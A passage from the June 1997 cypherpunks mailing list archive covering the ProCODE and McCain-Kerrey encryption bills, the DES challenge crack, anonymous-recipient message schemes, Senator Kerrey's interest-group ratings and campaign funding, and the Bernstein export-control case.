he can credibly say he has a compromise too. Otherwise
it seems like he's not willing to play the game," one
Hill observer told me yesterday.

"ProCODE II" would allow the export of up to 56-bit
DES -- yes, the very same bit length that was cracked
yesterday -- only in some circumstances and give the
FBI and the CIA more of a say on an encryption panel
the bill creates, sources say. (For their part, Burns'
staff characterizes it as having only "slight
differences" from ProCODE I.)

This legislative jockeying takes place against a
backdrop of rivalries between Burns and McCain that
stretch far beyond encryption. Burns introduced an
amendment on a spectrum auction bill that gutted
McCain's proposal. A recent National Journal story
played up the rift, and only resulted in widening it.

McCain's insistence on endorsing the administration's
-- and thus the national security establishment's --
position shouldn't be surprising, even if McCain was
one of the original sponsors of ProCODE last year. He
told Wired Magazine's Todd Lappin in March that "we
need to find a middle ground" on crypto: "It's pretty
clear that the administration's crypto proposals will
have a harmful effect upon the industry. But we can't
completely ignore the warnings we get from the heads
of the FBI and the National Security Agency... If the
president of the United States vetoes a crypto bill we
pass, I doubt we'll be able to override his veto."

Then there's the Senate Judiciary committee. Its
chairman, Sen. Orrin Hatch (R-Utah), said last week
that he may introduce an alternative bill to relax
export controls on encryption technology. But he's
also talking about requiring key escrow in certain
circumstances. Judiciary is holding a hearing next
Wednesday on key escrow; the FBI's Freeh is scheduled
to testify. For his part, Hatch has control of a
crypto bill introduced by Sen. Patrick Leahy (D-Ver.)
and could block legislation that other committtees
report.

---

Now the focus is on today's scheduled vote in Senate
Commerce. Sources say Sen. Bill Frist (R-Tenn.) is
planning to introduce amendments to the McCain bill
that would weaken it. They would delay the
implementation of some portions by a year. They would
also require that NIST, the Department of Justice, and
the Department of Defense publish guidelines on key
recovery.

Today senators will be faced with a series of
unpleasant choices: approve the McCain-Kerrey bill
(sponsored by the chair), approve the original ProCODE
bill, or approve ProCODE II. Certainly some senators
would be wary of endorsing a measure that they haven't
had time to read. The buzz, however, on the Hill is
that McCain doesn't have the votes for his bill and
may postpone the vote after all.

What all this legislative turmoil means is exactly
what McCain predicted in March: for a bill to get out
of committee, there has to be a compromise. As I wrote
in a recent Netly News column, members of Congress are
driven by a fierce, desperate urge to compromise. The
drive is primal: legislators are compelled to find a
middle ground. But to their chagrin, crypto doesn't
offer one. Either you keep a copy of the electronic
keys to your files or someone else does -- which is
exactly what the White House wants. Either you're free
to speak privately over the Net using PGP, or you're
not -- which is exactly what the White House also
wants.

That's why the only sane answer to the encryption
struggle might be to wait for the courts to strike
down export controls as unconstitutional. They're
moving forward: a Federal court yesterday heard
arguments in the Bernstein case. (Sure, it would put
would-be crypto lobbyists out of business overnight,
but that sounds like a good thing to me.) Congress
can't be trusted not to compromise away fundamental
liberties, and any bill that makes it past McCain,
Hatch, and Kerrey -- not to mention their counterparts
in the House -- is almost certain to include some key
escrow provisions.

A veteran lobbyist told last night that this could
indeed happen -- but only if high tech firms and
their Washington lobbyists sell out our privacy
by accepting relaxed export controls in exchange
for domestic controls on the use of encryption.
Businesses might make money, but American
consumers would be the ultimate losers...

Additional articles:

http://pathfinder.com/netly/editorial/0,1012,931,00.html

http://pathfinder.com/netly/opinion/0,1042,1022,00.html

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 12:32:36 +0800
To: cypherpunks@cyberpass.net
Subject: NoneRe: Receiving Messages Anonymously
In-Reply-To: <v02140b01afcbb73285d2@[206.184.194.206]>
Message-ID: <199706190425.GAA27164@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



pdh@best.com (Peter Hendrickson) wrote:

> Receiving anonymous messages is still an open problem.  The solutions
> we have so far are cumbersome to operate.  They also depend on a chain
> of machines remaining up and reliable for a long time, which is
> expensive.
> 
> A quick solution is to use the list to send anonymous messages.  It is
> inexpensive to tell if a message is encrypted for a key you control so
> it is cheap to find messages you can read.


An anonymous message pool.  How is this different from posting to
alt.anonymous.messages?  (Other than it would annoy list readers. :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 12:53:18 +0800
To: cypherpunks@cyberpass.net
Subject: NoneRe: Recipient Anonymity
Message-ID: <199706190442.GAA28837@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Matt Ghio wrote:

> A group of servers collects messages of equal length for anonymous
> recipients.  All servers exchange messages so that each has copies of all
> messages.
> 
> A recipient wishes to retrieve a message from the servers without any
> server knowing which message he is receiving.  The recipient selects a
> group of n servers.  From each server, S_1...S_n-1, he requests a random
> selection of messages, with a 50% probability that any particular message
> will be selected.  The server returns the xor of all messages requested.
> He sends the final server a request which is the xor of all the previous
> requests and the one single message that he wants.
> 
> The xor of all the responses is the desired message.  It is impossible to
> determine which message was received unless all servers collude.


So what you're saying is:

                             - Messages - 
           A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Server 1:  1 0 1 1 0 1 0 0 1 0 1 0 0 0 1 0 1 1 0 1 0 1 0 0 1 1
Server 2:  0 1 1 0 1 1 1 0 1 0 0 0 1 0 0 1 0 1 0 1 0 0 0 1 0 0
Server 3:  1 1 0 1 1 0 1 0 0 0 1 0 1 0 1 1 0 0 0 0 0 1 0 1 1 1


So server 1 sends back the xor of messages A,C,D,F...Z; server 2 sends
back the xor of B,C,E,F,G...etc.  The xor of all of that cancels out
everything except Message Q.  But as long as at least one of the servers
doesn't keep logs then nobody will know that except the person who
downloaded it. 

Clever.  It sure beats reply-blocks.  :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 19 Jun 1997 22:39:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001F962@MEX3976BCAOP1>
Message-ID: <19970619071935.51047@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Jun 19, 1997 at 09:21:59AM +0000, Paul Bradley wrote:
> 
> > > "That DES can be broken so quickly should send a chill through the
> > >heart of anyone relying on it for secure communications,"
> > 
> > I'm shitting bricks. No mention was made that only 25% of the keyspace
> > was tested.
> 
> Not only that, but single DES with a 56 bit key is just not being used 
> anymore in any company which has the slightest clue.

This is false, of course.  Many companies with the slightest clue use 
single DES.  Also, someone pointed out that the combined efforts 
probably had independently done 50% of the keyspace.

> If they can run a 
> distributed crack on 3DES with independent subkeys then I`ll give them 
> some attention.
> 
> I`m not downgrading the effort, 

This is false, too.  Doublespeak at it's finest.

>Joe "wired reader" Sixpack doesn`t know 
> the difference between DES, 3DES and his ass anyway, so it is a 
> significant publicity stunt that will get normal non-specialist people 
> thinking about the export laws, and about how quickly DES can be broken 
> by the government if it can be broken by a few guys on the internet in 
> months. All I am saying is that looking at it from a purely scientific 
> point of view it is not a great cryptanalytic achievement, merely a PR stunt.

It is a *GREAT* achievement on several fronts, crypto included. 
Another front that was equally important, IMO was as a demonstration
of what loosely coordinated distributed computing can do. 

Of course, it was also a PR stunt, and it is working on that front, 
as well.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 19 Jun 1997 23:30:15 +0800
To: cypherpunks@toad.com
Subject: Re: Crypto-compromises in Washington: Burns offers ProCODE II
Message-ID: <199706191514.IAA03521@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> 
> Rocke Verser's announcement couldn't have come at a
> more embarrassing time for the White House. At 3:46 pm
> yesterday, after five months of painstaking work, the
> Colorado computer consultant fired off an excited
> message to the DES challenge mailing list: "WE FOUND IT!"

  After the DES challenge began, didn't someone on the cypherpunks list
predict that the key would be cracked at a time that was opportune for
RSA, et al, and that the key would be found by "c2Nut testicles?"

 I can't find my printout of the post but if my memory serves me
correctly then (s)he predicted more than a few of the events surrounding
the DES challenge.
  The timing of the find is certainly opportune and there is no doubt
that the company that found the key is closely connected to c2net (not
to mention the spooks the company fronts for in Costa Rica and South
America). Also, the Genx effort was plagued with internal and external
sabotage, as predicted, and several other efforts were chilled before 
they ever got off the ground (by government and corporate legal
consultants who all seem to have close connections to Colorado DoD
agencies).

  I am not suggesting that RSA and their cohorts would put the fix in
just because their is a tremendous amount of money and power surrounding
this issue (both corporate and political) but I have certainly noticed
that there doesn't seem to be any area of the crypto community where I
don't find the same dark figures flitting through the shadows (and they
all seem to have agendas linked to secret government labs and unelected
government regulatory comittees).
  I was a bit skeptical of some of the rather paranoid claims I saw on
the cypherpunks list at times but I can certainly vouch for the fact
that there were more than a few computer admins in the New York area
who were told from on high that using their company's computers in
the DES challenge would not bode well for future government contracts.
  I am beginning to wonder if I shouldn't have majored in nuclear
physics since there seems to be less political intrigue in that arena
than in the crypto arena these days.

Chauncey Gardner





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 19 Jun 1997 23:51:14 +0800
To: "Peter D. Junger" <junger@upaya.multiverse.com>
Subject: Re: DES is dead. RC5 is next.
In-Reply-To: <3.0.2.32.19970618232220.00756954@netcom9.netcom.com>
Message-ID: <3.0.2.32.19970619082126.0077f32c@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:39 AM 6/19/97 -0400, Peter D. Junger wrote:
>I would like like to help and I have two or three boxes that could
>be used.  But the print on your web page is so small that I am not
>sure I will be able to read the instructions.

I don't run the site. I am just a fellow cracker. :-)


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 15:04:33 +0800
To: cypherpunks@Algebra.COM
Subject: PGP 5.0 source shipped to Europe!
Message-ID: <199706190658.IAA14883@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Unknown Cypherpunks shipped the PGP 5.0 source to Europe.

http://www.ifi.uio.no/pgp/pgp50.shtml

See the source books! Read the shipping label! Trace the package!

--SourceMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Fri, 20 Jun 1997 00:26:51 +0800
To: cypherpunks@Algebra.COM
Subject: FYI: Who owns Sen. Kerrey (LONG)
Message-ID: <33A959DC.5793@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Actually the profile doesn't look too evil.
One wonders who's pushing him on this, since he
doesn't come across asa crypto expert ;)


Below is from the Project Vote Smart pages...

Senator J. Robert 'Bob' Kerrey

                            Performance Evaluations by Special Interest
Groups



                                               How to Interpret These
Evaluations

These evaluations are in percentage form. They represent the percentage
of 
time that the incumbent voted with that organization's preferred
positions on a number of
votes that they identified as key in their issue area. Remember, by
definition, these r
atings by special interest groups are biased. They do not represent a
non-partisan stance. In addition, some groups select votes that tend to
favor members 
of one political party over another, rather than selecting votes based
solely on
issue concerns. However, they can be invaluable in showing where an
incumbent has 
stood on a series of votes over a year's time, especially when ratings
by groups
on all sides of an issue are compared. Descriptions of the organizations
offering p
erformance evaluations are available. 

Project Vote Smart collects performance evaluations from ALL special
interest groups 
who provide them. If there is a group you that feel is missing from our
database, either they do not compile performance evaluations, they would
not allow 
Project Vote Smart to distribute them, or we are unaware of the fact
that the
group does ratings. Please let us know if you think we are missing a
group's 
ratings and we will contact the group immediately. 

A final note: The clearest way to read these percentages is, "In [year],
the X
YZ organization gave Senator/Representative X an 80% rating. That means
that on
votes they identified as key in their issue area during that time
period, he/she 
voted with the group's preferred position 80% of the time." The
exception to this is the
evaluation done by the National Taxpayers Union, which represents how
often a 
representative or senator voted to decrease, or not increase, spending. 


                                     Performance Evaluations by Special
Interest Groups

Issue Area      Year    Percentage   Evaluating Organization      
------------------------------------------------------------------------------
Abortion/FamPln 1991       20 Justlife Education Fund
(Abortion)           
Abortion/FamPln 1993-1996 100 Planned
Parenthood                           
Abortion/FamPln 1996        0 National Right to Life
Committee             
Abortion/FamPln 1996      100 National Abortion Reproductive Rights
Action 
Business        1995-1996  41 National Federation of Independent
Business  
Business        1996       10 Business-Industry Political Action
Committee 
Business        1996       23 U.S. Chamber of
Commerce                     
Children        1995       89 Children's Defense
Fund                      
Chr.Fam. Issues 1991-1992   9 Christian
Voice                              
Chr.Fam. Issues 1995-1996   8 Christian
Coalition                          
Civil Rts/Lib   1991-1992  55 National Gay & Lesbian Task
Force            
Civil Rts/Lib   1993-1994  80 Human Rights Campaign
Fund                   
Civil Rts/Lib   1995-1996  67 National Association for the Advancement
of C
Civil Rts/Lib   1995-1996  90 Leadership Conference on Civil
Rights        
Civil Rts/Lib   1996       47 American Civil Liberties
Union               
Conservative    1995-1996  21 Conservative
Index                           
Conservative    1996        5 American Conservative
Union                  
Consumers       1996       79 Consumer Federation of
America               
Contractors     1995       17 Associated Builders &
Contractors            
Crime           1995-1996  60 Citizens United for Rehabilition of
Errants  
Defense/Foreign 1991       60 JustLife Education Fund (Arms
Reduction)     
Defense/Foreign 1991       62 Professional's Coalition for Nuclear Arms
Con
Defense/Foreign 1993-1994  30 American Security
Council                    
Defense/Foreign 1995       60 Campaign for U.N.
Reform                     
Defense/Foreign 1995       92 Peace
Action                                 
Defense/Foreign 1996       82 Council for a Livable
World                  
Economic Policy 1991       80 JustLife Education Fund (Economic
Policy)    
Economic Policy 1994       20 Competitive Enterprise Institute
(Totals)    
Economic Policy 1995       20 The Libertarian Party - Economic
Freedom     
Economic Policy 1996       23 The Republican Liberty
Caucus                
Education       1993-1994  73 American Federation of
Teachers              
Education       1995       83 National Education
Association               
Education       1995-1996  91 U.S. Student
Association                     
Env./consumer   1995-1996  67 U.S. Public Interest Research
Group          
Environment     1994       11 Competitive Enterprise Institute
(Environment
Environment     1995-1996  74 League of Conservation
Voters                
Environment     1995-1996 100 Fund For
Animals                             
Farm            1991-1992  50 National Farmers
Organization                
Farm            1993       56 National Farmers
Union                       
Farm            1993-1994  67 American Farm Bureau
Federation              
Farm            1994      100 Competitive Enterprise Institute
(Agriculture
Gun Issues      1993-1994   0 National Rifle
Association                   
Gun Issues      1993-1994 100 Handgun Control,
Inc                         
Health          1995-1996  89 AIDS Action
Council                          
Health          1996       93 American Public Health
Association           
Immigration     1996       30 American Immigration
Control                 
Immigration     1996       50 Federation for American Immigration
Reform-Se
Labor           1989      100 Machinists Non-Partisan Political
League     
Labor           1989-1990 100 National Federation of Federal
Employees     
Labor           1991       67 American Postal Workers
Union                
Labor           1994       90 United Food & Commercial
Workers             
Labor           1995       30 Transportation Communications
Union          
Labor           1995       62 Communications Workers of
America            
Labor           1995       62 The
Teamsters                                
Labor           1995       75
AFL-CIO                                      
Labor           1995       85 United Auto
Workers                          
Labor           1996       75 American Federation of Government
Employees  
Labor           1996      100 American Federation of State, County &
Munici
Liberal         1995-1996  81 Public Citizen's Congress
Watch              
Liberal         1995-1996  85 National Committee for an Effective
Congress 
Liberal         1996       85 Americans for Democratic
Action              
Libertarian     1995       35 The Libertarian Party - Combined
Score       
Populist        1995       30 Liberty
Lobby                                
Poverty         1996      100 Bread for the
World                          
Property        1995-1996  20 League of Private Property
Voters            
Regulation      1994       29 Competitive Enterprise Institute
(Deregulatio
Seniors         1995       80 National Council of Senior
Citizens          
Seniors         1995-1996  30 The 60 Plus
Association                      
Seniors         1995-1996  80 National Association of Retired Federal
Emplo
Seniors         1995-1996  86 National Committee to Preserve Social
Securit
Social Policy   1991       40 National Association of Social
Workers       
Social Policy   1995       50 The Libertarian Party - Personal
Freedom     
Social Policy   1995       87
Network                                      
Social Policy   1995-1996  77 Friends Comm. on Nat'l Leg.
(Senate)         
Social Policy   1996       44 The Republican Liberty
Caucus                
Social Policy   1996      100 Zero Population
Growth                       
Taxes/Spending  1991-1992  17 National Tax-Limitation
Committee            
Taxes/Spending  1994        0 Competitive Enterprise Institute
(Taxes)     
Taxes/Spending  1994       14 Competitive Enterprise Institute
(Budget)    
Taxes/Spending  1994       15 Competitive Enterprise Institute
(Spending)  
Taxes/Spending  1995       28 Citizens Against Government
Waste            
Taxes/Spending  1995       35 National Taxpayers
Union                     
Taxes/Spending  1995       60 Concord
Coalition                            
Trade           1994       50 Competitive Enterprise Institute
(Trade)     
Veterans        1989-1990  50 Vietnam Veterans of
America                  
Women           1989-1990  95 National Women's Political
Caucus            
Women           1993      100 The Woman Activist
(Senate)                  
Women           1995-1996  25 Concerned Women for
America                  
Women           1995-1996  86 American Association of University
Women     



                                    Senator Kerrey | Nebraska Directory
| 105th Congress Directory


                                                     Project Vote Smart
                                          129 NW 4th Street, Suite 204,
Corvallis, OR 97330
                                              Phone 541-754-2746 Fax
541-754-2747
                                     Comments? Questions? E-mail us at
comments@vote-smart.org 




Senator Bob Kerrey

Sources of Campaign Funding



The information in this section was provided by the Center for
Responsive Politics 
and the National Library on Money and Politics. You can read a summary
of the
laws and procedures governing campaign financing which comes from their
book Open Secrets. 

Another good reference is Supporting Federal Candidates -- A guide for
citizens 
from the Federal Election Commission, July 1994. On-line at PoliticsUSA.


FULL CYCLE DATA - 01/01/1989 - 12/31/1994


Net Receipts: .....................................   $5,006,236
Net PAC Contributions: ............................   $1,556,633
Net Individual Contributions: .....................   $3,290,334

The figures below represent Political Action Committee (PAC)
contributions
by industry and sector.

Agriculture: ......................................     $268,605
     Agricultural Services & Products........      $84,180
     Crop Production & Basic Processing......      $63,425
     Food Processing & Sales.................      $43,000
     Dairy...................................      $27,000
     Tobacco.................................      $22,500
     Livestock...............................      $17,500
     Poultry & Eggs..........................      $11,000
     Commodity Brokers & Dealers.............           $0
     Forestry & Forest Products..............           $0
     Miscellaneous Agriculture...............           $0

Construction & Public Works: ......................      $20,850
     Home Builders...........................      $16,100
     Construction Services...................       $3,500
     Building Materials & Equipment..........       $1,250
     General Contractors.....................           $0
     Special Trade Contractors...............           $0

Communication & Electronics: ......................     $113,600
     Telephone Utilities.....................      $65,300
     Cable TV................................      $20,000
     TV & Movie Production/Distribution......      $14,000
     Telecom Services & Equipment............       $6,300
     Printing & Publishing...................       $4,000
     Recorded Music Production...............       $2,000
     Computer Equipment & Services...........       $2,000
     Electronics Mfg & Services..............           $0
     Misc. Communications & Electronics......           $0

Defense: ..........................................      $87,720
     Defense Aerospace.......................      $49,500
     Defense Electronics.....................      $28,720
     Miscellaneous Defense...................       $9,500

Energy & Natural Resources: .......................      $62,005
     Electric Utilities......................      $25,755
     Oil & Gas...............................      $23,250
     Waste Management........................       $8,500
     Miscellaneous Energy....................       $3,500
     Mining..................................       $1,000
     Environmental Services & Equipment......           $0
     Nuclear Energy..........................           $0
     Fisheries & Wildlife....................           $0
     Commercial Fishing......................           $0
     Hunting.................................           $0

Finance, Insurance & Real Estate: .................     $250,060
     Insurance...............................      $87,050
     Securities & Investment.................      $65,925
     Commerical Banks........................      $57,475
     Accountants.............................      $20,150
     Real Estate.............................       $8,710
     Miscellaneous Finance...................       $7,000
     Savings & Loans.........................       $2,750
     Credit Unions...........................       $1,000
     Finance & Credit Companies..............           $0

Miscellaneous Business: ...........................      $62,905
     Retail Sales............................      $20,931
     Beer, Wine & Liquor.....................      $12,474
     Food & Beverage.........................       $8,500
     Business Services.......................       $8,000
     Casinos & Gambling......................       $3,500
     Miscellaneous Services..................       $2,000
     Miscellaneous Business..................       $2,000
     Textiles................................       $2,000
     Chemical & Related Manufacturing........       $1,000
     Misc Manufacturing & Distributing.......       $1,000
     Lodging & Tourism.......................       $1,000
     Business Associates.....................         $500
     Recreation & Live Entertainment.........           $0
     Steel Production........................           $0

Health: ...........................................     $171,049
     Health Professionals....................      $79,500
     Hospitals & Nursing Homes...............      $52,000
     Pharmaceuticals & Health Products.......      $33,799
     Health Services.........................       $5,750
     Miscellaneous Health....................           $0

Lawyers & Lobbyists: ..............................      $63,476
     Lawyers & Lobbyists.....................      $63,476

Transportation: ...................................      $76,850
     Air Transport...........................      $33,500
     Railroads...............................      $26,850
     Automotive..............................       $7,000
     Sea Transport...........................       $6,500
     Trucking................................       $3,000
     Miscellaneous Transport.................           $0

Labor Union: ......................................     $250,050
     Building Trades & Industrial Unions.....     $111,500
     Transportation Unions...................      $68,000
     Public Sector Unions....................      $52,050
     Miscellaneous Unions....................      $18,500

Ideological/Single-Issue: .........................     $120,963
     Pro-Israel..............................      $73,000
     Democrat/Liberal........................      $15,500
     Human Rights............................      $10,500
     Abortion Policy.........................      $10,000
     Leadership PACs.........................       $4,653
     Miscellaneous Issues....................       $3,500
     Foreign & Defense Policy................       $2,810
     Gun Rights/Gun Control..................       $1,000
     Republican/Conservative.................           $0
     Womens Issues...........................           $0

Other: ............................................       $2,000
     Other...................................       $1,000
     Education...............................       $1,000
     Civil Servants & Public Officials.......           $0
     Non-Profit Institutions.................           $0
     Retired.................................           $0

Unknown: ..........................................           $0
     Unknown.................................           $0
     Homemakers/Non-income earners...........           $0
     No Employer Listed or Found.............           $0
     Generic Occupation/Category Unknown.....           $0
     Employer Listed/Category Unknown........           $0

---------------------------------------------------------------------------
          PARTIAL CYCLE DATA - 01/01/1995 - 06/30/1995

Net Receipts: .....................................     $116,890
Net PAC Contributions: ............................      $43,500
Net Individual Contributions: .....................      $21,175
Net Candidate Contributions: ......................           $0
Net Other Contributions: ..........................      $52,215
Net Spent: ........................................     $125,359
Ending Cash: ......................................       $7,834
Debts Owed: .......................................           $0



                 This information is brought to you by Project Vote
Smart


Senator Bob Kerrey | Nebraska Directory | 104th Congress Directory |
Vote Smart Web





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 15:33:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Recipient Anonymity
Message-ID: <199706190720.JAA17208@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Matt Ghio wrote:

> A group of servers collects messages of equal length for anonymous
> recipients.  All servers exchange messages so that each has copies of all
> messages.
> 
> A recipient wishes to retrieve a message from the servers without any
> server knowing which message he is receiving.  The recipient selects a
> group of n servers.  From each server, S_1...S_n-1, he requests a random
> selection of messages, with a 50% probability that any particular message
> will be selected.  The server returns the xor of all messages requested.
> He sends the final server a request which is the xor of all the previous
> requests and the one single message that he wants.
> 
> The xor of all the responses is the desired message.  It is impossible to
> determine which message was received unless all servers collude.


So what you're saying is:

                             - Messages - 
           A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Server 1:  1 0 1 1 0 1 0 0 1 0 1 0 0 0 1 0 1 1 0 1 0 1 0 0 1 1
Server 2:  0 1 1 0 1 1 1 0 1 0 0 0 1 0 0 1 0 1 0 1 0 0 0 1 0 0
Server 3:  1 1 0 1 1 0 1 0 0 0 1 0 1 0 1 1 0 0 0 0 0 1 0 1 1 1


So server 1 sends back the xor of messages A,C,D,F...Z; server 2 sends
back the xor of B,C,E,F,G...etc.  The xor of all of that cancels out
everything except Message Q.  But as long as at least one of the servers
doesn't keep logs then nobody will know that except the person who
downloaded it. 

Clever.  It sure beats reply-blocks.  :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 19 Jun 1997 21:22:31 +0800
To: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Subject: Re: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001F962@MEX3976BCAOP1>
Message-ID: <Pine.LNX.3.91.970619091626.559A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > "That DES can be broken so quickly should send a chill through the
> >heart of anyone relying on it for secure communications,"
> 
> I'm shitting bricks. No mention was made that only 25% of the keyspace
> was tested.

Not only that, but single DES with a 56 bit key is just not being used 
anymore in any company which has the slightest clue. If they can run a 
distributed crack on 3DES with independent subkeys then I`ll give them 
some attention.

I`m not downgrading the effort, Joe "wired reader" Sixpack doesn`t know 
the difference between DES, 3DES and his ass anyway, so it is a 
significant publicity stunt that will get normal non-specialist people 
thinking about the export laws, and about how quickly DES can be broken 
by the government if it can be broken by a few guys on the internet in 
months. All I am saying is that looking at it from a purely scientific 
point of view it is not a great cryptanalytic achievement, merely a PR stunt.

> Unfortunately some companies depend on BS to sell products. Glad to see
> C2Net is no different,

What did you expect?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 15:34:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Receiving Messages Anonymously
In-Reply-To: <v02140b01afcbb73285d2@[206.184.194.206]>
Message-ID: <199706190724.JAA17576@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



pdh@best.com (Peter Hendrickson) wrote:

> Receiving anonymous messages is still an open problem.  The solutions
> we have so far are cumbersome to operate.  They also depend on a chain
> of machines remaining up and reliable for a long time, which is
> expensive.
> 
> A quick solution is to use the list to send anonymous messages.  It is
> inexpensive to tell if a message is encrypted for a key you control so
> it is cheap to find messages you can read.


An anonymous message pool.  How is this different from posting to
alt.anonymous.messages?  (Other than it would annoy list readers. :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Fri, 20 Jun 1997 00:30:03 +0800
To: cypherpunks@Algebra.COM
Subject: Crypto foes have day in court
Message-ID: <33A95E27.302D@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.news.com/News/Item/0,4,11674,00.html

Crypto foes have day in court 
By Alex Lash
June 18, 1997, 5:45 p.m. PT 

SAN FRANCISCO--Both sides of a landmark court battle
over the use of encryption made their final arguments here
today before a federal judge, who now will decide if the
government's restrictions on encryption exports go too far. 

The case focuses on Daniel Bernstein, a University of Illinois
math professor who sued the government two years ago as a
graduate student when he was not allowed to publish his
Snuffle encryption program on the Internet without an export
license. But the case extends to the all Internet users, who
are coming to rely more on privacy and security for electronic
correspondence and transactions. Strong encryption is
considered necessary to provide that security. 

On the other hand, law enforcement officials are worried that
the unchecked spread of strong encryption will make
communications by criminals impossible to track and decode. 

U.S. District Court Judge Marilyn Patel has already proven
sympathetic to Bernstein's case. In April 1996, she ruled that
software code is free speech and therefore protected under the
First Amendment. From that, she said in December that the
government's regulations created unconstitutional "prior
restraint" of free expression, meaning the creation of an
atmosphere that made the free exchange of protected ideas
difficult, if not impossible. 

Patel can now take as much time as she wants to hand down
her decision. She must decide if the government regulations
violate constitutional or statutory standards. The judge must
also decide what type of relief to grant Bernstein and if that
relief--in the form of unimpeded export of encryption
software--should extend to everyone. 

Since her December ruling, the federal export rules have been
switched from the auspices of the State Department to the
Commerce Department's Bureau of Export Administration.
Patel called the lead attorneys for Bernstein and for the
government together today to determine if she should
reconsider her December ruling in light of the shift. 

"We think [the issues] are fundamentally the same," Cindy
Cohn, lead attorney for Professor Bernstein, told the judge.
"All the things you found wrong before are still up in the air." 

Government attorney Anthony Coppolino essentially agreed,
although he claimed the new rules, which were mandated by a
presidential executive order, cleared up some of the confusion
caused by the State Department rules. "The president's order
of transfer made clearer that we want to control the encryption
function, not the ideas," he said. 

Despite Judge Patel's differing perspective, Coppolino
maintained that the government's rules, which require
publishers of strong encryption software to apply for a
government license, were aimed at controlling the unimpeded
spread of "easy-to-access, easy-to-use" encryption but not
the spread of intellectual expression. 

Coppolino nonetheless seemed resigned to yet another
"adversarial" decision, as he called Patel's previous rulings,
and argued that if the judge rules in favor of
Bernstein--which seems likely given her remarks
today--her interpretation should be as narrow as possible.
Coppolino said that a national injunction on the regulations
would be overkill. 

"You can clearly fashion relief [for Bernstein] without
throwing it open on a nationwide basis," Coppolino contended.

Cohn, who has argued the case pro bono with the help of the
Electronic Frontier Foundation, countered that Bernstein's job
requires not just his own free expression but free
communication in general. 

"We think that everyone else should be protected," she
argued to Patel. "There's no way that Bernstein can speak
freely if no one else can speak back." 

The encryption battle is also being fought in Congress, where
several bills aim to strike down the same federal export rules
that Bernstein is challenging, while one bill, sponsored by
Senators John McCain (R-Arizona) and Bob Kerrey
(D-Nebraska), seeks to impose domestic controls for the
first time.

Introduced yesterday in the Senate, McCain-Kerrey seeks to
mandate the use of key recovery--a system that allows law
enforcement officials to intercept and decode encrypted
electronic communications--for all government products and
government-funded networks. It also aims to tie the domestic
use of digital certificates--a type of electronic ID card that
verifies the legitimacy of an electronic transmission--to key
recovery.

Under the plan, users will not be able to obtain a digital
certificate from a government-licensed "certificate authority"
unless they make their private encryption keys available to
law enforcement when necessary.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 20 Jun 1997 01:07:53 +0800
To: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Subject: RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001F962@MEX3976BCAOP1>
Message-ID: <3.0.2.32.19970619093902.00759df0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



